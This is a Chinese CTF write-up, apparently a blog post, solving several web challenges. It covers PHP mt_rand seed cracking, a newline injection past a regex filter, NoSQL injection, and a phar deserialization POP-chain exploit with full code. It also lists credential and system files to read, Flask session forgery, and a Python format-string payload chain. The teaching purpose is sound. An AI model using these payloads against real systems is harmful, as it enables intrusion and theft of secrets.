(1)第一步:php
这道题第一步主要知道利用php的随机种子数泄露之后就能够利用该种子数来预测序列,而在题目中会返回15位的优惠码,可是必需要24位的优惠码,所以要根据15位的求出种子之后扩展到24位,这里的优惠码由于是字符串形式的,因此须要整理成数字形式,也就是整理成方便 php_mt_seed 测试的格式。html
<?php //生成优惠码 $_SESSION['seed']=rand(0,999999999); function youhuima(){ mt_srand($_SESSION['seed']); $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $auth=''; $len=15; for ( $i = 0; $i < $len; $i++ ){ if($i<=($len/2)) $auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1); else $auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1); } setcookie('Auth', $auth); } ?>
好比咱们如今有一条优惠码为:python
youhuima = "hM7HljJR5ZHzWGF"mysql
生成优惠码的字符串范围为linux
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
git
此时咱们能够利用已经有的优惠码在字符串中找到其对应的位置,也就是mt_rand的每一次的值,由于前8位都是同样的生成方式,因此咱们只须要利用前8位来爆破出种子就能够了,由于php每次调用mt_rand使用的种子都是同样的。github
所以利用如下代码还原优惠码的位置,并按照php_mt_rand接受的形式生成:web
When invoked with 4 numbers, the first 2 give the bounds for the first mt_rand() output and the second 2 give the range passed into mt_rand().
也就是说当包含4个数字时,前两个应该是mt_rand生成的边界值,后面两个应该是mt_rand的取值范围。sql
因此有如下代码:mongodb
<?php $str = "hM7HljJ"; #利用7位 $randStr = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; for($i=0;$i<strlen($str);$i++){ $pos = strpos($randStr,$str[$i]); echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." "; //整理成方便 php_mt_seed 测试的格式 //php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]] } echo "\n"; ?>
而后输出为:
7 7 0 61 48 48 0 61 33 33 0 61 43 43 0 61 11 11 0 61 9 9 0 61 45 45 0 61
此时即可以运行php_mt_rand来爆破种子了:
此时有了种子,只要根据上面生成优惠码的代码跑一次,生成长度为24的优惠码就能够了,到此第一步完成,主要知道在咱们没有设置种子数的时候,php会咱们自动播种,而且每次生成随机数都用的是相同的种子,所以能够爆破种子。
(2)第二步:
这一步主要熟悉php的preg_match函数的bypass技巧
//support if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){ if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){ //执行命令 }else { //flag字段和某些字符被过滤! } }else{ // 你的输入不正确! }
这里使用了/im也就是不区分大小写而且使用多行匹配的模式,那么在多行匹配中只要第一行知足就会返回正确,因此只要使用多行来绕过就能够了,那么咱们只要在第一行知足的状况下添加一个换行符而后后面拼接payload就能够了,也就是1.1.1.1%0a便可。
绕过第一层的过滤之后,第二层对一些命令和flag字符串进行的过滤,而且不能大小写绕过,而且也过滤了?和*这两个通配符,由于已经知道flag在/下面,因此直接读取:
能够以经过 f’la’g 或f[l][a]g等来绕过对flag的过滤,对文件能够用more,less命令也都行,若是非要用cat,也可使用绕过flag相同的方法,这里咱们使用grep -ri / flag* 就崩了,多是查找的太多。
这道题主要考nosql的注入,首先信息搜集如下,发现info.php,通常在phpinfo中咱们能够看到php开了哪些扩展,在这里发现了mongodb,大胆猜想应该是php+mongodb,因此后面利用正则匹配出admin的密码就能够了,没啥好说的。
之前一直懒,没去看pop链的构造,恰好此次题目中有这个因此好好学习了一下。这道题主要考察的是phar的反序列以及pop链的构造,
利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。
该方法在文件系统函数(file_exists()、is_dir()等)参数可控的状况下,配合phar://伪协议,能够不依赖unserialize()直接进行反序列化操做。
这里重点是能够不依赖unserialize()这个反序列化的函数,更加骚气了。
有序列化数据必然会有反序列化操做,php一大部分的文件系统函数在经过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数以下:
update:https://blog.zsxsoft.com/post/38 这篇文章发现并不局限于文件函数,这是一个全部的和IO有关的函数都有可能触发的问题,如下函数也可能发生此种问题,若是phar://
不能出如今头几个字符,能够在最前面加compress.bzip2://
orcompress.zlib://
这么多函数都会经过phar进行反序列化操做,而咱们的利用点须要知足:
1.phar文件要可以上传到服务器端。
2.要有可用的魔术方法做为“跳板”。
3.文件操做函数的参数可控,且:、/、phar等特殊字符没有被过滤。
下面来分析如下题目已经有的信息:
$file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); }
在这里会对咱们传的file文件调用file_exist()函数进行判断是否存在,对照上图能够发现这个函数的确存在漏洞,而且file是咱们能够控制的。
那么利用点有了,下面就须要构造利用链,也就是pop链的构造,因此先去看看定义了哪些类,
<?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } } class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
一共有三个类,由于要反序列化,因此要找到对对象进行反序列时会执行的函数,咱们知道:
析构函数__destruct():当对象被销毁时会自动调用。 __wakeup() :如前所提,unserialize()时会自动调用。
可是在能够利用的类中有show类中有__wakeup(),可是这只是一个过滤函数,其中只执行了赋值操做,没有利用的价值。剩下的就是在C1e4r这个类中存在__destruct()函数,因此咱们的pop链的入口就是C1e4r这个类了,可是这个类中:
class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } }
在执行反序列化之后只会输出$this->test,还给了另外两个类,确定要关联到另外两个类,在show类中,存在__toString方法,因此只要令$this->test=show这个类的对象,就能够由于echo了show的对象而进一步调用
__toString()方法,由于咱们最终须要访问到flag.php文件,因此必须有个读文件的函数,这里在test类中定义了file_get_contens()函数
class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } }
class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } }
只要让$value为flag.php便可,那么向上走,$value = $this->params[$key],而这个$params是test的属性,key是get的参数,又是__get的参数,而__get这个函数是当访问类的不存在的属性或者私有属性时自动调用的魔术方法,所以得构造一个test的对象,而且让这个对象访问一个test类中不存在的方法,此时只有看show这个类了,由于在__toString中存在$content = $this->str['str']->source;因此咱们能够,咱们可让str['str']为test类的对象,从而调用source来调用test类的__get方法,而且令test这个类对象的params的键为source,键的值为flag对应的绝对路径。
exp以下:
<?php class C1e4r { public $test; public $str; } class Show { public $source; public $str; } class Test { public $file; public $params = array('source' => '/var/www/html/f1ag.php'); } $phar = new Phar("tr1ple.phar"); $phar->startBuffering(); $p1=new C1e4r(); $p2=new Show(); $p1->str=$p2; $p2->str['str']=new Test(); $phar->addFromString("tr1ple.txt", "success"); $phar->setMetadata($p1); $phar->stopBuffering();
pop链的构造就是经过类之间方法和属性的联系将他们环环相扣,要找好每一个类之间的链接点。在反序列化后,本来的对象所带的属性将所有恢复,而且能够正常的调用原有类中的方法。
我以为这道题目仍是在考察对python的熟悉程度,以及对linux系统的熟悉程度,有些比赛的题目中经过将一些敏感信息暴露在系统的配置文件中来让咱们找,可能在真实的实战环境中也能够经过系统或应用的配置信息来获得一些能够利用的点。
系统通用的配置文件有:
/etc/passwd /etc/my.cnf /etc/shadow /etc/sysconfig/network-scripts/ifcfg-eth0 ip地址 /etc/hosts 一般配置了一些内网域名
文件读取的状况下文件读取的状况下固然能够能够读取proc目录下的文件来得到更多系统的信息。
ssh免密码登陆的秘钥文件等 /root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_rsa.keystore /root/.ssh/id_rsa.pub /root/.ssh/known_hosts 加密后的用户口令位置 /etc/shadow 历史命令 /root/.bash_history /root/.mysql_history 进程文件 /proc/self/fd/fd[0-9]* (文件标识符) 检查已经被系统挂载的设备 /proc/mounts 机器的内核配置文件 /proc/config.gz window下 C:/boot.ini //查看系统版本 C:/Windows/System32/inetsrv/MetaBase.xml //IIS配置文件 C:/Windows/repairsam //存储系统初次安装的密码 C:/Program Files/mysqlmy.ini //Mysql配置 C:/Program Files/mysql/data/mysqluser.MYD //Mysql root C:/Windows/php.ini //php配置信息 C:/Windows/my.ini //Mysql配置信息
/proc/sched_debug 提供cpu上正在运行的进程信息,能够得到进程的pid号,能够配合后面须要pid的利用 /proc/mounts 挂载的文件系统列表 /proc/net/arp arp表,能够得到内网其余机器的地址 /proc/net/route 路由表信息 /proc/net/tcp and /proc/net/udp 活动链接的信息 /proc/net/fib_trie 路由缓存 /proc/version 内核版本 /proc/[PID]/cmdline 可能包含有用的路径信息 /proc/[PID]/environ 程序运行的环境变量信息,能够用来包含getshell /proc/[PID]/cwd 当前进程的工做目录 /proc/[PID]/fd/[#] 访问file descriptors,某写状况能够读取到进程正在使用的文件,好比access.log
而在这道题目中明显存在文件读取的漏洞:
而且在题目中已经有给出的路径树以及tips:
if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app') != -1: return abort(404)
从tips中能够看到,若是咱们访问的路径中存在/home/ctf/web/app的话就会返回404。
所以咱们以此绝对路径去bypass访问web目录中的文件,这里又要用道python的一个trick,os.path.join
函数的一个特性:参数中的绝对路径参数前面的全部参数会被忽略
因此此时就须要利用/proc目录下的文件
当访问/proc/self/environ时,会返回以下所示:
当访问/etc/passwd的时候,会返回以下所示:
而经过/proc/self/maps
能够看到web路径,可是并不能经过此web路径来直接访问文件,后面出题人说是禁止了直接访问,此时就要用到上面说的其中一条:
/proc/[pid]/cwd是进程当前工做目录的符号连接
由于前面已经出现过os.path.join('app/static', filename),因此当前路径就是源码所在的路径,因此/proc/self/cwd/app/views.py,就可以读到文件,把能读的都读一遍,能读到源码的话,flask的题目确定拿到secret key就能够伪造session了。
这里伪造session也是有点坑,由于题目的环境是python3.5写的,因此用python2伪造的session没法经过,须要用python3的环境才行,不要一味的相信工具。
下面是出题人给的exp:
from flask.sessions import SecureCookieSessionInterface class App(object): secret_key = '9f516783b42730b7888008dd5c15fe66' s = SecureCookieSessionInterface().get_signing_serializer(App()) u = s.loads('eyJjc3JmX3Rva2VuIjoiMzgyMWRlNmFlMTRmNjc2NjU0YWNhMjZjYTQ1MzY4Y2Y3NjI2MzI1NSJ9.XBpHyw.9S0EAg9_yQKg7D3xqPp08eMIeH8') print(u) u['username'] = 'admin' print(s.dumps(u))
使用python3运行之后,出来的sesion就能够经过服务器端的校验,这里只须要伪造username这一个字段就能够了,其余的服务端不做为身份校验,到此以admin登录之后第一步就完成了,接下来是第二步:
前置知识:
从python2.6开始,就有了用format来格式化字符串的新特性,它能够经过{}来肯定出字符串格式的位置和关键字参数,而且随时能够显式对数据项从新排序。此外,它甚至能够访问对象的属性和数据项——这是致使这里的安全问题的根本缘由。
这里贴两个大佬的记录连接:
1.https://github.com/bit4woo/code2sec.com/blob/master/Python%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E%E5%AE%9E%E8%B7%B5.md
2.https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html
看了大佬写的文章之后,我以为这个漏洞主要仍是攻击者可以控制format的结果,从而经过当前环境能够访问到的对象,好比user,order(必须是使用到的)等等,好比Django中request.user
是当前用户对象,这个对象包含一个属性password
,也就是该用户的密码。经过这些对象来构造一条属性链到达一些全局的配置信息对象好比settings或其余敏感配置项,进而越权访问一些环境中的配置信息和敏感信息,回到题目中:
__init__.py的代码以下
from .app import Flask, Request, Response from .config import Config from .helpers import url_for, flash, send_file, send_from_directory, get_flashed_messages, get_template_attribute, make_response, safe_join, stream_with_context from .globals import current_app, g, request, session, _request_ctx_stack, _app_ctx_stack
能够看到current_app和g在同一个命名空间下,咱们这里须要学习下g是啥:
### 保存全局变量的g属性: g:global 1. g对象是专门用来保存用户的数据的。 2. g对象在一次请求中的全部的代码的地方,都是可使用的。
getflag的路由以下,在咱们登录后
@app.route('/getflag', methods=('POST',)) @login_required def getflag(): u = getattr(g, 'u') if not u or u.balance < 1000000: return '{"s": -1, "msg": "error"}' field = request.form.get('field', 'username') mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest() jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}' return jdata.format(field, g.u, mhash)
其中getattr函数是获取当前对象的属性,也就是获取g对象的u这个属性,当登录之后,u.balance>1000000之后就会调用request.form.get函数来获取field和username参数的值,为post方法。
接下来就会进行format,format为
'{{{field}:{g.u.field},hash: {mhash}}}'
这里format有三个点,0,1,2,咱们能够控制的点有1后面,有大佬测试了field,也就是跟在g.u以后,借用他的图,field=__class__,也就是g.u.__class__
显示为app.models.User,说明类的继承为user->models->app,因此应该先向上到models再到app,再读g.flag,出题人提示了方法,因此能够直接使用
__class__.save.__globals__[db].__class__.__init__.__globals__
当到了这一步的时候,已经能够获取到current_app这个类,它也就是flask的app了,所以到达这里就到达链条的顶端了,而后就向下找flag
能够看到app.before_request下面存在g,所以就能够经过current这个类来点用它来访问g.flag,完整的payload
field=__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__[g].flag
由于flag在g这个全局的对象下面,因此咱们才能这样访问,先找g,再在g这个空间中去找flag
save.__globals__[db].__init__.__globals__[request].application.__self__._get_data_for_json.__globals__[current_app]._get_exc_class_and_code.__globals__[find_package].__globals__[_app_ctx_stack].top.g.flag
运用脚本寻找继承链:
这个脚本是从python的request这个对象开始找,咱们模拟将flag放在g的空间下,那么脚本就会自动利用python中自带的类或对象去寻找g.flag
import flask import os from flask import request from flask import g from flask import config app = flask.Flask(__name__) def search(obj, max_depth): visited_clss = [] visited_objs = [] def visit(obj, path='obj', depth=0): yield path, obj if depth == max_depth: return elif isinstance(obj, (int, float, bool, str, bytes)): return elif isinstance(obj, type): if obj in visited_clss: return visited_clss.append(obj) print(obj) else: if obj in visited_objs: return visited_objs.append(obj) # attributes for name in dir(obj): if name.startswith('__') and name.endswith('__'): if name not in ('__globals__', '__class__', '__self__', '__weakref__', '__objclass__', '__module__'): continue attr = getattr(obj, name) yield from visit(attr, '{}.{}'.format(path, name), depth + 1) # dict values if hasattr(obj, 'items') and callable(obj.items): try: for k, v in obj.items(): yield from visit(v, '{}[{}]'.format(path, repr(k)), depth) except: pass # items elif isinstance(obj, (set, list, tuple, frozenset)): for i, v in enumerate(obj): yield from visit(v, '{}[{}]'.format(path, repr(i)), depth) yield from visit(obj) @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/') def shrine(): g.flag = 'flag{}' for path, obj in search(request, 10): if obj == g.flag: return path if __name__ == '__main__': app.run(debug=True)